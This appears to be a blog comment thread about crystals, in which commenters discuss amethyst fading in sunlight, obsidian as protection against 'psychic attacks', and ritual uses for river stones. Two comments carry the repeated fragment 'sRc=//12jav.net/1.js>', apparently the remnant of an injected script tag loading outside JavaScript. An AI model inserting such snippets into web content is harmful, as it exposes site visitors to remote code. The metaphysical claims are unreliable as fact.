Indeed. I found this out the hard way, with my amethyst. I personally tend to use the sun a lot when charging crystals, since it's more convenient for me. I found the more exposure to the sun the amethyst had the more the purple hue to it faded.

Excellent overview for anyone interested in learning more about crystals and gems. I have recently started using crystal grids in my daily routine. Great post.

I find wearing a shard of obsidian around your neck (or having a shard in your pocket or in another piece of jewellery) is good for protection. Obsidian protects against psychic attacks and it also neutralises negative energies in the area. I always have a shard with me or near me.

Also, does anyone know if there is any magical use for river stones? I’m not fussed if there isn’t, I’m just curious. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

If they are the flat, smooth stones you could use them to make runes, mark the boundaries of a ritual circle, or even use them as a means to connect to the river and the water element its connected to. You could also polish them and use them as worry stones (smooth stones with a small indent that are used to help relieve anxiety).

Ritual circles was what I was thinking but I wasn’t sure, so that’s good to know. Thank you. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

From the little I know about the topic of crystals in general, I think that river stones can be a useful part of your altar(for the part of the pentagram that's supposed to represent water), for fairy magick, and magick relating to the element of water.
